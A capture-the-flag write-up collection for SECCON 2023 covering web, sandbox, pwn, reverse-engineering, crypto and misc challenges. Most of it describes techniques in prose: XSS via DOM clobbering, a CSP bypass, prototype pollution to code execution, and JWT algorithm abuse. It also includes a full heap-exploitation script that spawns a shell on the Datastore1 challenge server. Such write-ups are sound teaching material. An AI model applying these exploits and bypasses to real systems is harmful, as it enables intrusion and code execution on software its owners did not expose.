SECCON 2023
Web
Blink
We clobbered the body property with a frame (<iframe name=body>) and then the togglePopover property with an anchor tag <a id=togglePopver >. Then setInterval will receive our anchor tag as first argument and will do toString on it which will turn it into our payload and then will execute it.
poc:
eeejs
This challenge was about being able to inject ejs options and with some mitigations. We tried to get RCE for some time but we failed. To get XSS we used the delimiter properties and a gadget in render.dist.js. Also if we set the delimiter option to an array with a zero length string then we don't need to adjust it anymore ( but then we can't use <%- or <%= options ).
badjwt
Using the "alg" header of the JWT token, we can create a signature value with any arbitrary algorithm. Since the algorithm variable is JavaScript object, setting the "alg" value to "constructor" executes the Object constructor, allowing us to obtain a consistent signature value for a random key at all times.
Therefore, since the signature value is the base64 encoded form of the header+payload, we can get the flag by creating and sending the token.
Simple Calc
We have this CSP Content-Security-Policy: default-src http://localhost:3000/js/index.js  'unsafe-eval'; and easy XSS http://simplecalc.seccon.games:3000/?expr=alert(23)
The goal is to send a request to http://localhost:3000/flag with X-Flag header and admin cookies which is httponly, we can't use fetch() or other APIs as connect-src CSP header is missing so it will fallback to default-src.
Removing the CSP header, there is a trick in express which if the any parameter of the request is more than 16,000 characters it will send 431 error without any headers.
Using this trick we will use the XSS to create an iframe pointing to http://localhost:3000/js/index.js?very=very_long_text and then iframe.eval('our_code') since the iframe doesn't have any CSP.
Final payload:
The flag is sent to our webhook.
Sandbox
deno-pp
The following payload the generates the payload
We found the nodeProcessUnhandledRejectionCallback property by using –inspect-brk of deno and tracing how it handles errors. Finding a way to trigger an error was easy with deno ( just need many nested arrays ).
node-pp
We found that the prepareStackTrace property can be used to get RCE by throwing an error.
To use prepareStackTrace we need to trigger an error but we couldn't find any way to trigger an error at first because there was a length limit so we couldn't use the nested array trick.
Then we polluted all words that exist in nodejs source code to see what happens.
This generates a text file with all the words we need. then we pollluted all of them in nodejs with a function and then we saw that the program triggers an error when we pollute "1" with a function.
crabox
The macros were easy to find. I found the static assertion trick in: https://github.com/rust-lang/rfcs/issues/2790
Pwn
selfcet
The binary allowed overwriting anything in the ctx_t obejct (and also behind it).
Overwriting status, will trigger ctx->throw, but the CFI check will only execute it, if the referenced function starts with endbr64.
We used this, to first leak libc address by doing a partial overwrite (1 nibble bruteforce) to point ctx->throw to __GI_warn instead of err. This way it will not exit after leak.
The second payload was used to call __libc_start_main to jump back into main function to have two additional payloads.
Having a libc leak now, we called gets(bss) to read /bin/sh to bss and the second payload to execute system(bss) (this was needed, since the status parameter is int32 and we can only use 32 bit addresses as first argument).
full writeup: https://kileak.github.io/ctf/2023/secconquals23-selfcet/
Datastore1
DataStore1 lets us create a hierarchic data structure, which could consist of arrays, strings, ints and floats on different levels.
The bug for this challenge is in the edit function
In the boundary check we have an off-by-one, since it checks that idx is not bigger than arr->count (though it should check for greater or equal). This allows us to update/delete one data_t object "behind" the current type, overwriting followup data on the heap.
Short version:
- Create multiple arrays, use oob access to overwrite the size of a follow up array with another array ptr to leak heap address
 
- Create string object behind an array and use oob access to overwrite size of string pointer
 
- Use the corrupted string pointer to create a big fake chunk on the heap and free it to leak 
main_arena pointer 
- Overwrite 
strnlen in abs.got of libc to execute system(/bin/sh) 
        
from pwn import *
import sys
LOCAL = True
HOST = "datastore1.seccon.games"
PORT = 4585
PROCESS = "./chall"
def editval(value):
    r.sendline("1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")
def editarr(size):
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")
def createsubarr(idx, size):
    r.sendline("1")
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")
def createarray(parent_indexes, size):
    r.sendline("1")
    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")
def updatevalue(parent_indexes, value):
    r.sendline("1")
    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")
def updatestring(parent_indexes, value):
    r.sendline("1")
    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")
    r.sendlineafter("bytes): ", value)
    r.recvuntil("> ")
def delete(parent_indexes, del_idx):
    r.sendline("1")
    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", str(del_idx))
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")
def exploit(r):
    r.recvuntil("> ")
    log.info("Create initial array")
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", "1")
    r.recvuntil("> ")
    log.info("Create sub arrays")
    createarray([0], 4)
    createarray([0, 0], 4)
    createarray([0, 1], 4)
    createarray([0, 2], 4)
    createarray([0, 3], 4)
    log.info("Overwrite array size with another array")
    delete([0, 1], 4)
    createarray([0, 1, 4], 10)
    log.info("Leak heap address from array size")
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.recvuntil("[02] <ARRAY(")
    LEAK = int(r.recvuntil(")", drop=True))
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", str(100))
    r.recvuntil("> ")
    HEAPBASE = LEAK - 0x470
    log.info("HEAP leak     : %s" % hex(LEAK))
    log.info("HEAP base     : %s" % hex(HEAPBASE))
    log.info("Create strings on heap")
    updatevalue([0, 1, 1], "A"*8)
    updatevalue([0, 1, 2], "A"*8)
    updatevalue([0, 1, 3], "A"*8)
    
    log.info("Fillup heap")
    createarray([0, 3, 0], 10)
    createarray([0, 3, 1], 10)
    createarray([0, 3, 2], 10)
    createarray([0, 3, 3], 10)
    createarray([0, 3, 0, 0], 10)
    createarray([0, 3, 0, 1], 10)
    createarray([0, 3, 0, 2], 10)
    
    delete([0, 1, 4], 10)
    
    updatevalue([0, 1, 4, 10], "1000")
    log.info("Corrupting string pointer")
    payload = p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x680)
    payload += p64(0x0000000000000000)+p64(0x0000000000000561)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    updatestring([0, 1, 1], payload)
    delete([0, 1], 3)
    log.info("Update string pointer again")
    payload = p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x690)
    updatestring([0, 1, 1], payload)
    log.info("Get libc leak")
    r.sendline("1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "1")
    r.sendlineafter("> ", "1")
    r.recvuntil("[02] <S> ")
    LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")
    log.info("LIBC leak     : %s" % hex(LIBCLEAK))
    libc.address = LIBCLEAK - 0x219ce0
    log.info("LIBC          : %s" % hex(libc.address))
    payload = "/bin/sh\x00"+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(libc.address + 0x219018)
    updatestring([0, 1, 1], payload)
    updatestring([0, 1, 2], p64(libc.symbols["system"]))
    
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter(": ", "1")
    r.sendlineafter("> ", "1")
    r.interactive()
    return
if __name__ == "__main__":
    libc = ELF("./libc.so.6")
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./chall", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()
    exploit(r)
       Full writeup: https://kileak.github.io/ctf/2023/secconquals23-datastore1/
rop-2.35
When the gets returns, rdi has fixed address in libc.
So, overwrite the gets@plt at the return address and system@plt next address on stack, we could execute like below.
But, the buffer was a member of file structure. some byte was decreased after gets returns.
Rev
Jumpout
This challenge at hand is that the decompilation in IDA is not working properly due to instructions like 'jmp rax' and similar.
However, there is no significant problem when it comes to actual debugging.
Therefore, through debugging, it can be obseved that the code involves XOR operations with 0x55, a secret key, and sequentially increasing index values. These operations are performed and compared with stored encrypted values.
        
data = [0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1,
0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17]
data2 = [0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7,
0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23]
c = ''
for i, v in enumerate(data):
    c += chr(v ^ 0x55 ^ data2[i] ^ i)
print(c)
       Optinimize
This challenge pertains to a challenge written in the Nim Language. When searching for Nim language, you can easily find sample programming code examples utilizing it.
The link is as follows:
https://github.com/nim-lang/bigints/blob/master/examples/rc_combperm.nim
Looking at the title of the challenge, one can infer that it is related to optimization, and upon running the program, it becomes evident that a portion of the flag is missing from the output.
It is highly likely that the code consists of numerous loops with a very high level of the Time Complexity.

What can be observed through debugging is that the structure of the BigInt object consists of an arbitrary flag value and a memory pointer to the actual content the object aims to store.
The integer information to be stored is present in the content.
If we were to create pseudocode with arbitrary code, it would look like the following:



What can be inferred from the provided pseudocode is that the value being computed internally for XOR purposes is derived from the Perrin sequence. To obtain Perrin sequence values, the following service was used:
https://oeis.org/A013998/list
Furthermore, by utilizing the Perrin sequence, you can create the following code to retrieve the flag.
        
from sage.all import *
P = Primes()
bb = [271441,904631,16532714,24658561,27422714,27664033,46672291,102690901,130944133,196075949,214038533,517697641,545670533,801123451,855073301,903136901,970355431,1091327579,1133818561,1235188597,1389675541,1502682721,2059739221,2304156469,2976407809,3273820903]
kk = [74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165]
aa = [60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212]
t = []
for i in kk:
    x = P.unrank(i - 2)
    c = 0
    for j in bb:
        if j >= x: break
        c += 1
    x = P.unrank(i - c - 2)
    t.append(x)
print(bytes(aa[i]^t[i]&0xff for i in range(len(kk))))
       Perfect Blu
We are provided with an ISO image of a Blu-Ray disc. After initial inspection, we successfully run it inside the VLC and being presented with a menu for checking of the flag:

After lots of Google-ing and lots of different tries to find the menu's logic, we managed to find it by using the tool BDedit. There is a state machine connecting the different menu presses from one button to another.

In short, there is a state logic (visible within BDedit's CLIPINF/Menu tabs), connecting all those pressed (menu) buttons in sequential manner. At the end, we managed to find the valid sequency (i.e. flag) SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}
Sickle
The pickle has a jump-like something what implemented by io.seek.
So, we patched the pickle to dump using pickletools and some parts of pickletools.
Below is extracted pickle
It checked every bytes of the input is less than 127 and encrypted the data by RSA on CBC like system.
xuyao
It has AES-like encryption routine. But the last row of encrypted block is dependent on other rows at each round.
So, we could implement decryptor easily.
        
enc = bytes.fromhex('FE 60 A8 C0 3B FE BC 66 FC 9A 9B 31 9A D8 03 BB A9 E1 56 FC FC 11 9F 89 5F 4D 9F E0 9F AE 2A CF 5E 73 CB EC 3F FF B9 D1 99 44 1B 9A 79 79 EC D1 B4 FD EA 2B E2 F1 1A 70 76 3C 2E 7F 3F 3B 7B 66 A3 4B 1B 5C 0F BE DD 98 5A 5B D0 0A 3D 7E 2C 10 56 2A 10 87 5D D9 B9 7F 3E 2E 86 B7 17 04 DF B1 27 C4 47 E2 D9 7A 9A 48 7C DB C6 1D 3C 00 A3 21')
sbox = bytes.fromhex('63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16')
ibox = [sbox.index(i) for i in range(256)]
ROL = lambda a,b: ((a << b) | (a >> (32 - b))) & 0xFFFFFFFF
'''
0x7ffff7fba044:	0xf6067814	0xed73cb7e	0x1583a8b2	0x0dde8d93
0x7ffff7fba054:	0x23e2374b	0x40b83c72	0x0b3f811a	0xd6e7a993
0x7ffff7fba064:	0x2622de7c	0xc581dcae	0xa906524c	0xdb4f2cc1
0x7ffff7fba074:	0x0ddb3477	0x8c1a92a4	0x3bd711c0	0x1bb16503
0x7ffff7fba084:	0x00acd720	0x2735f2d0	0x9a9300fe	0xfb2556a7
0x7ffff7fba094:	0xcbe1fe58	0xc03db8c9	0xf77cb701	0x0a1f85ae
0x7ffff7fba0a4:	0x14dd27dc	0xe1a5e3a9	0x41d1f9ee	0xfe6afce7
0x7ffff7fba0b4:	0xd80eac32	0xf43efead	0x6475d80f	0x38a310d6
'''
expanded_key = [
    0xf6067814,	0xed73cb7e,	0x1583a8b2,	0x0dde8d93,
    0x23e2374b,	0x40b83c72,	0x0b3f811a,	0xd6e7a993,
    0x2622de7c,	0xc581dcae,	0xa906524c,	0xdb4f2cc1,
    0x0ddb3477,	0x8c1a92a4,	0x3bd711c0,	0x1bb16503,
    0x00acd720,	0x2735f2d0,	0x9a9300fe,	0xfb2556a7,
    0xcbe1fe58,	0xc03db8c9,	0xf77cb701,	0x0a1f85ae,
    0x14dd27dc,	0xe1a5e3a9,	0x41d1f9ee,	0xfe6afce7,
    0xd80eac32,	0xf43efead,	0x6475d80f,	0x38a310d6
]
enc = [int.from_bytes(enc[i:i+4],'big') for i in range(0, len(enc), 4)]
flag = b''
for I in range(0, len(enc), 4):
    a,b,c,d = enc[I+0:I+4][::-1]
    for i in range(len(expanded_key) - 1, -1, -1):
        k = expanded_key[i]
        b,c,d,v5 = a,b,c,d
        x = b^c^d^k
        u = 0
        for j in range(0, 32, 8):
            v11 = sbox[(x >> j) & 0xFF] << j;
            u |= v11
        x = u
        x ^= ROL(u, 3)
        x ^= ROL(u, 14)
        x ^= ROL(u, 15)
        x ^= ROL(u, 9)
        a = x ^ v5
        
    flag += a.to_bytes(4,'big') + b.to_bytes(4,'big') + c.to_bytes(4,'big') + d.to_bytes(4,'big')
print(flag)
       Crypto
CIG
With some computation, one can compute fixed constants  such that  where  are the generated outputs without the final mod  operation, and .
With nine 32-byte data, we can set  as the small values such that  where  are the given 32-byte datasets.
Using the recurrence relation , one can compute known constants  such that
This gives a equation on .
Since , we can take the equations for each  and apply the naive bound ,  and apply a lattice algorithm to recover all  values. The recovery of the flag can be done simply by reversing the recurrence as .
        
from sage.all import * 
import random as rand
from Crypto.Util.number import inverse
from sage.modules.free_module_integer import IntegerLattice
def Babai_CVP(mat, target):
	M = IntegerLattice(mat, lll_reduce=True).reduced_basis
	G = M.gram_schmidt()[0]
	diff = target
	for i in reversed(range(G.nrows())):
		diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
	return target - diff
def solve(M, lbounds, ubounds, weight = None):
	mat, lb, ub = copy(M), copy(lbounds), copy(ubounds)
	num_var  = mat.nrows()
	num_ineq = mat.ncols()
	max_element = 0 
	for i in range(num_var):
		for j in range(num_ineq):
			max_element = max(max_element, abs(mat[i, j]))
	if weight == None:
		weight = num_ineq * max_element
    
	if len(lb) != num_ineq:
		print("Fail: len(lb) != num_ineq")
		return
	if len(ub) != num_ineq:
		print("Fail: len(ub) != num_ineq")
		return
	for i in range(num_ineq):
		if lb[i] > ub[i]:
			print("Fail: lb[i] > ub[i] at index", i)
			return
    	
	DET = 0
	if num_var == num_ineq:
		DET = abs(mat.det())
		num_sol = 1
		for i in range(num_ineq):
			num_sol *= (ub[i] - lb[i])
		if DET == 0:
			print("Zero Determinant")
		else:
			num_sol //= DET
			
			print("Expected Number of Solutions : ", num_sol + 1)
	
	max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
	applied_weights = []
	for i in range(num_ineq):
		ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
		applied_weights.append(ineq_weight)
		for j in range(num_var):
			mat[j, i] *= ineq_weight
		lb[i] *= ineq_weight
		ub[i] *= ineq_weight
	
	target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
	result = Babai_CVP(mat, target)
	for i in range(num_ineq):
		if (lb[i] <= result[i] <= ub[i]) == False:
			print("Fail : inequality does not hold after solving")
			break
    
    	
	fin = None
	if DET != 0:
		mat = mat.transpose()
		fin = mat.solve_right(result)
	
	
	return result, applied_weights, fin
def prod(x: list[int]) -> int:
    return reduce(lambda a, b: a * b, x, 1)
def xor(x: bytes, y: bytes) -> bytes:
    return bytes([xi ^ yi for xi, yi in zip(x, y)])
enc_flag = b'\xd5 \xc3b\xa3\xa1\xd6\xe5Sv\xe7%n\xd6\xd6UcQNYU\x1arR\xdes\xb4\x12\xc9\xed\x1a\xc6^=\xe1\xe3p@\xe65\x19\x18S\x80\xa4TE\x7f\x92\x07&"\xdf\xc9\xe1\xbd@QL\xcf\x90\x98\xd9C$\xcb\xb4U'
leaked = b"^\xed>\x03\xad\x8c\x1d\xa1\xe29\x83\x92\xbdm\xefL\xe5\xe5\xab\xc9\xffZ\xbd8\x95\x97\xa3i/k\xb1\x8dSD\x1e\x92;\x87\xa7\x16\xdc\x98\x15\x1ba\xc3fQ\xa9\t\xe8ak.0\xe3\x93\xba\x82\xb2%\xc2\x88]u\xeb\xfctKw\xe5\xcc\xd2\xce\xa7\x8c\xd6T\xe3\xfa$\xec\xca\xcc\x1a\x08\xbd3\xdd!D\xc8\xa7}\xeb\xd2=\xfb\x96\xeek\xdef>\xedm\t\x12\xe6\xeeO\xc5\xbe\xcev\x9aB\x90\x84\x981j'\xb18\xbb\x08\x93\xbd\xf9\xb1>/\x81\x83]\x93C\x84D\x9b5\xd0l\xcfQa\xe3\x1ev !\xd6W\xbc\x9b\xccV\xd65\x84\t\xd2\xdd\xde\xffs\xcc\x80\x16\x9cg\xcf\xa4&l\x8f\x82J\x16\xc7qNN\x90\x89\xef\xa6\xb8\x8c\xcb\xf8q\x0f.)\xa7 \x8b\x14\x83\xca-\x7fvP\x1a\x08\xb6^\x18\xd5\x9b\x01\xfa[\xdf3J\xc0\x85\x02\xe3\x16\\\x93\x17B\xd6\x8e2\xabia\xf1hT+][\x19c<\x06\xea%m\xc0\x01\xc6'\x95t\xf3\xf4\xd7\xe1f\xcd\x8f\xb0\xa3\\\xcfv\xa8\xfb\xb6\x03\xc4R\xe0\x10\xbb\xcb>\x0e\x94H8\xbe\x0c\xf6\x9c\xbf\xa1^\x178\t1\xda\xd4\xc3cm\x84}\x9d\x84"
p1 = 21267647932558653966460912964485513283
a1 = 6701852062049119913950006634400761786
b1 = 19775891958934432784881327048059215186
p2 = 21267647932558653966460912964485513289
a2 = 10720524649888207044145162345477779939
b2 = 19322437691046737175347391539401674191
p3 = 21267647932558653966460912964485513327
a3 = 8837701396379888544152794707609074012
b3 = 10502852884703606118029748810384117800
class ICG:
    def __init__(self, p: int, a: int, b: int) -> None:
        self.p = p
        self.a = a
        self.b = b
        self.x = rand.randint(0, p - 1)
    def _next(self) -> int:
        if self.x == 0:
            self.x = self.b
            return self.x
        else:
            self.x = (self.a * pow(self.x, -1, self.p) + self.b) % self.p
            return self.x
class CIG:
    L = 256
    def __init__(self, icgs: list[ICG]) -> None:
        self.icgs = icgs
        self.T = prod([icg.p for icg in self.icgs])
        self.Ts = [self.T // icg.p for icg in self.icgs]
    
    def _next(self) -> int:
        ret = 0
        for icg, t in zip(self.icgs, self.Ts):
            ret += icg._next() * t
            ret %= self.T
        return ret
GEN = CIG([ICG(p1, a1, b1), ICG(p2, a2, b2), ICG(p3, a3, b3)])
N = p1 * p2 * p3 
A = (p2 * p3 * b1 + p1 * p2 * b3 + p3 * p1 * b2) % (p1 * p2 * p3)
B = (a1 * p2 * p3 * p2 * p3 + a2 * p3 * p3 * p1 * p1 + a3 * p1 * p1 * p2 * p2) % (p1 * p2 * p3)
x = GEN._next()
y = GEN._next()
assert (A + B * inverse(x, N)) % N == y
coefs = [[0] * 4 for _ in range(9)]
coefs[1] = [A, B, 1, 0]
for i in range(2, 9):
    u, v, c, d = coefs[i-1][0], coefs[i-1][1], coefs[i-1][2], coefs[i-1][3]
    coefs[i] = [(A * u + B * c) % N, (A * v + B * d) % N, u, v]
for i in range(1, 9):
    x = GEN._next()
    for j in range(i):
        y = GEN._next()
    assert y == ((coefs[i][0] * x + coefs[i][1]) * inverse(coefs[i][2] * x + coefs[i][3], N)) % N
K = 9
vals = [0] * K
for i in range(K):
    vals[i] = int.from_bytes(leaked[32 * i : 32 * i + 32], "big")
cc = 1 << 256
idxs = [[0] * K for _ in range(K)]
cur = K
for i in range(K):
    for j in range(i + 1, K):
        idxs[i][j] = cur 
        cur += 1
M = Matrix(ZZ, K * K, K * K)
offset = cur
lb = [0] * (K * K)
ub = [0] * (K * K)
for i in range(K):
    for j in range(i + 1, K):
        dif = j - i 
        
        
        var_i_left = coefs[dif][0] * cc 
        const_left = coefs[dif][0] * vals[i] + coefs[dif][1]
        var_i_j_right = coefs[dif][2] * cc * cc
        var_i_right = coefs[dif][2] * cc * vals[j]
        var_j_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * cc
        const_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * vals[j]
        M[i, idxs[i][j] - K] = (var_i_left - var_i_right) % N
        M[j, idxs[i][j] - K] = (-var_j_right) % N
        M[idxs[i][j], idxs[i][j] - K] = (-var_i_j_right) % N
        M[offset + idxs[i][j] - K, idxs[i][j] - K] = N 
        lb[idxs[i][j] - K] = (const_right - const_left) % N
        ub[idxs[i][j] - K] = (const_right - const_left) % N
for i in range(K):
    M[i, offset - K + i] = 1
    lb[offset - K + i] = 0
    ub[offset - K + i] = N >> 256
for i in range(K):
    for j in range(i + 1, K):
        M[idxs[i][j], offset + idxs[i][j] - K] = 1
        lb[offset + idxs[i][j] - K] = 0
        ub[offset + idxs[i][j] - K] = (N >> 256) ** 2
cc = [57804297745068165924043436682464546, 71703226799396355798160218283589859, 43903357625865285041134655854723702, 7093107694488723732884036958291294, 81431809685050221847574458532332810, 68572964751870276141827901920468577, 70580211875229687245848456630493291, 1573725101669168478449903932713785, 66112119169252413992616503718509999]
start = vals[0] + (cc[0] << 256)
for i in range(1, 8):
    start = (A + B * inverse(start, N)) % N
    if start != vals[i] + (cc[i] << 256):
        print(i)
start = vals[0] + (cc[0] << 256)
res = b""
start = (B * inverse(start - A, N)) % N 
res = int.to_bytes(start % (1 << 256), 32, "big")[:4]
start = (B * inverse(start - A, N)) % N 
res = int.to_bytes(start % (1 << 256), 32, "big") + res
start = (B * inverse(start - A, N)) % N 
res = int.to_bytes(start % (1 << 256), 32, "big") + res 
print(xor(enc_flag, res))
'''
result, applied_weights, fin = solve(M, lb, ub)
lmao = [0] * K
for i in range(K):
    lmao[i] = fin[i]
print(lmao)
for i in range(K):
    for j in range(i + 1, K):
        if fin[idxs[i][j]] != lmao[i] * lmao[j]:
            print("HUH")
print(len(enc_flag))
'''
       plai_n-rsa
Just exhaustive search the possibilities of phi(divisor of e * d - 1), and check if those phi(pq - p - q + 1), hint(p + q) has roots. After finding the roots, we can recover n and decrypt the flag.
ex.sage
RSA 4.0
Power of a + bi + cj + dk is always represented in form of: x + y(bi + cj + dk).
Using this fact, we can recover multiple of p from second term, and gcd with n to factorize n.
After that, multiplicative order of Quaternion element is p^2 - 1, so set the order to (p^2 - 1) * (q^2 - 1) and find the d.
ex.sage
Misc
readme 2023
There's an address of libc in /proc/self/syscall.
The flag's area was at (leaked libc address + 958339).
So, we calculated the flag's address and read /proc/self/map_files/something-something+0x1000